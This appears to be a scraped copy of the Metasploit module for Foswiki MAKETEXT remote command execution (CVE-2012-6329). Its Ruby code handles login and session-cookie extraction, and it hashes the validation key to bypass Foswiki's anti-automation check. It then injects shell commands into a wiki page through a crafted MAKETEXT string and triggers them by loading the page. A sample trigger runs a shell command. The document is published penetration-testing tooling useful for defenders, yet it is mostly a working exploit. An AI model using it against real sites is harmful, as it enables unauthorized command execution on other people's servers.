Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/foswiki_maketext.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'Foswiki MAKETEXT Remote Command Execution',13'Description' => %q{14This module exploits a vulnerability in the MAKETEXT Foswiki variable. By using15a specially crafted MAKETEXT, a malicious user can execute shell commands since the16input is passed to the Perl "eval" command without first being sanitized. The17problem is caused by an underlying security issue in the CPAN:Locale::Maketext18module. Only Foswiki sites that have user interface localization enabled19(UserInterfaceInternationalisation variable set) are vulnerable.2021If USERNAME and PASSWORD aren't provided, anonymous access will be tried.22Also, if the FoswikiPage option isn't provided, the module will try to create a23random page on the SandBox space. The modules has been tested successfully on24Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware image.25},26'Author' =>27[28'Brian Carlson', # original discovery in Perl Locale::Maketext29'juan vazquez' # Metasploit module30],31'License' => MSF_LICENSE,32'References' =>33[34[ 'CVE', '2012-6329' ],35[ 'OSVDB', '88410' ],36[ 'URL', 'http://foswiki.org/Support/SecurityAlert-CVE-2012-6330' ]37],38'Privileged' => false, # web server context39'Payload' =>40{41'DisableNops' => true,42'Space' => 1024,43'Compat' =>44{45'PayloadType' => 'cmd',46'RequiredCmd' => 'generic ruby python telnet'47}48},49'Platform' => [ 'unix' ],50'Arch' => ARCH_CMD,51'Targets' => [[ 'Foswiki 1.1.5', { }]],52'DisclosureDate' => '2012-12-03',53'DefaultTarget' => 0))5455register_options(56[57OptString.new('TARGETURI', [ true, "Foswiki base path", "/" ]),58OptString.new('FoswikiPage', [ false, "Foswiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),59OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),60OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])61])62end6364def post_auth?65true66end6768def do_login(username, password)69res = send_request_cgi({70'method' => 'POST',71'uri' => "#{@base}bin/login",72'vars_post' =>73{74'username' => username,75'password' => password76}77})7879if not res or res.code != 302 or res.get_cookies !~ /FOSWIKISID=([0-9a-f]*)/80vprint_status "#{res.code}\n#{res.body}"81return nil82end8384session = $185return session86end8788def inject_code(session, code)8990vprint_status("Retrieving the validation_key...")9192res = send_request_cgi({93'uri' => "#{@base}bin/edit#{@page}",94'cookie' => "FOSWIKISID=#{session}"95})9697if not res or res.code != 200 or res.body !~ /name='validation_key' value='\?([0-9a-f]*)'/98vprint_error("Error retrieving the validation_key")99return nil100end101102validation_key = $1103vprint_good("validation_key found: #{validation_key}")104105if session.empty?106if res.get_cookies =~ /FOSWIKISID=([0-9a-f]*)/107session = $1108else109vprint_error("Error using anonymous access")110return nil111end112end113114if res.get_cookies =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/115strike_one = $1116else117vprint_error("Error getting the FOSWIKISTRIKEONE value")118return nil119end120121# Transforming validation_key in order to bypass foswiki antiautomation122validation_key = Rex::Text.md5(validation_key + strike_one)123vprint_status("Transformed validation key: #{validation_key}")124vprint_status("Injecting the payload...")125126res = send_request_cgi({127'method' => 'POST',128'uri' => "#{@base}bin/save#{@page}",129'cookie' => "FOSWIKISID=#{session}",130'vars_post' =>131{132'validation_key' => validation_key,133'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"134}135136})137138if not res or res.code != 302 or res.headers['Location'] !~ /bin\/view#{@page}/139print_warning("Error injecting the payload")140print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"141return nil142end143144location = URI(res.headers['Location']).path145print_good("Payload injected on #{location}")146147return location148end149150def check151@base = target_uri.path152@base << '/' if @base[-1, 1] != '/'153154res = send_request_cgi({155'uri' => "#{@base}System/WebHome"156})157158if not res or res.code != 200159return Exploit::CheckCode::Unknown160end161162if res.body =~ /This site is running Foswiki version.*Foswiki-(\d\.\d\.\d)/163version = $1164print_status("Version found: #{version}")165if version <= "1.1.6"166return Exploit::CheckCode::Appears167else168return Exploit::CheckCode::Detected169end170end171172return Exploit::CheckCode::Safe173end174175176def exploit177178# Init variables179@page = ''180181if datastore['FoswikiPage'] and not datastore['FoswikiPage'].empty?182@page << '/' if datastore['FoswikiPage'][0] != '/'183@page << datastore['FoswikiPage']184else185@page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"186end187188@base = target_uri.path189@base << '/' if @base[-1, 1] != '/'190191# Login if needed192if (datastore['USERNAME'] and193not datastore['USERNAME'].empty? and194datastore['PASSWORD'] and195not datastore['PASSWORD'].empty?)196print_status("Trying login to get session ID...")197session = do_login(datastore['USERNAME'], datastore['PASSWORD'])198else199print_status("Using anonymous access...")200session = ""201end202203if not session204fail_with(Failure::Unknown, "Error getting a session ID")205end206207# Inject payload208print_status("Trying to inject the payload on #{@page}...")209res = inject_code(session, payload.encoded)210if not res or res !~ /#{@page}/211fail_with(Failure::Unknown, "Error injecting the payload")212end213214# Execute payload215print_status("Executing the payload through #{@page}...")216res = send_request_cgi({217'uri' => "#{@base}#{@page}",218'cookie' => "FOSWIKISID=#{session}"219})220if not res or res.code != 200 or res.body !~ /HASH/221print_status("#{res.code}\n#{res.body}")222fail_with(Failure::Unknown, "Error executing the payload")223end224225print_good("Exploitation was successful")226227end228end229230=begin231232* Trigger:233234%MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%235236=end237238239240